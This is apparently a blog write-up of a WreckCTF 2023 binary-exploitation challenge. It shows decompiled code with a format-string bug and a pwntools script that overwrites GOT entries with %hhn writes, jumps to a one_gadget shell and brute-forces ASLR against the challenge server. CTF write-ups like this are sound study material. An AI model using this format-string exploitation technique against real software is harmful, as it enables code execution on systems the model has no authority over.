~ all posts ctf projects research
271 words
1 minutes
WreckCTF 2023
2023-10-14
No Tags

chall

1
004011d6 int32_t main(int32_t argc, char** argv, char** envp)
2
3
004011e5 void* fsbase
4
004011e5 int64_t rax = *(fsbase + 0x28)
5
00401203 setbuf(fp: stdout, buf: nullptr)
6
00401226 fwrite(buf: "What will we accomplish during t…", size: 1, count: 0x2c, fp: stdout)
7
00401241 void var_218
8
00401241 fgets(buf: &var_218, n: 0x100, fp: stdin)
9
0040125f void s
10
0040125f sprintf(s: &s, format: &var_218, &var_218)
11
0040126e puts(str: "Great! Let's get to work.")
12
0040127c *(fsbase + 0x28)
13
00401285 if (rax == *(fsbase + 0x28))
14
0040128d return 0
15
00401287 __stack_chk_fail()
16
00401287 noreturn

The simplest solution is just pick a fitting location and call a one_gadget :) the setvbuf call works and by rewriting __stack_chk_fail to _start we can do a partial (three byte) overwrite to set it to another location in libc with only 12 ASLR-randomized bits. about 20 minutes later there was a flag in stdout lol

solve#

1
#!/usr/bin/env python3
2
3
from pwn import *
4
5
exe = ELF("chall_patched")
6
7
context.binary = exe
8
context.cyclic_size = 8
9
10
def conn():
11
if args.REMOTE:
12
r = remote("wreckctf.com", 34426)
13
else:
14
if args.GDB:
15
r = gdb.debug([exe.path],gdbscript="b *main+142\nc")
16
else:
17
r = process([exe.path])
18
19
return r
20
21
22
def main():
23
r = conn()
24
25
# good luck pwning :)
26
27
# got['__stack_chk_fail'] rewrite lsb from 0x40 to 0x1a for a ret gadget
28
29
40 collapsed lines
30
31
payload_ret_main = flat({
32
0x0:b"%240c%36$hhn" + b"%16c", # rewrite stack chk fail to _start
33
40: b"C" *8,
34
0x100-8: p64(exe.got['__stack_chk_fail'])[0:7],
35
},length=255)
36
37
38
39
# e7 = 231
40
# ec = 236
41
# f8 = 248
42
payload_fix_setvbuf = flat({
43
0x0:[
44
b"%231c%36$hhn",
45
b"%5c%35$hhn",
46
b"%12c%34$hhn",
47
b"%24c"
48
],
49
50
0x100-24: p64(exe.got['setbuf']),
51
0x100-16: p64(exe.got['setbuf']+1),
52
0x100-8: p64(exe.got['setbuf']+2)[0:7],
53
},length=255)
54
55
r.send(payload_ret_main)
56
r.send(payload_fix_setvbuf)
57
time.sleep(0.1)
58
r.sendline(b"grep flag *;exit;")
59
print(r.recvall())
60
r.close()
61
62
63
if __name__ == "__main__":
64
main()
65
if args.REMOTE:
66
count = 0
67
while True:
68
main()
69
count += 1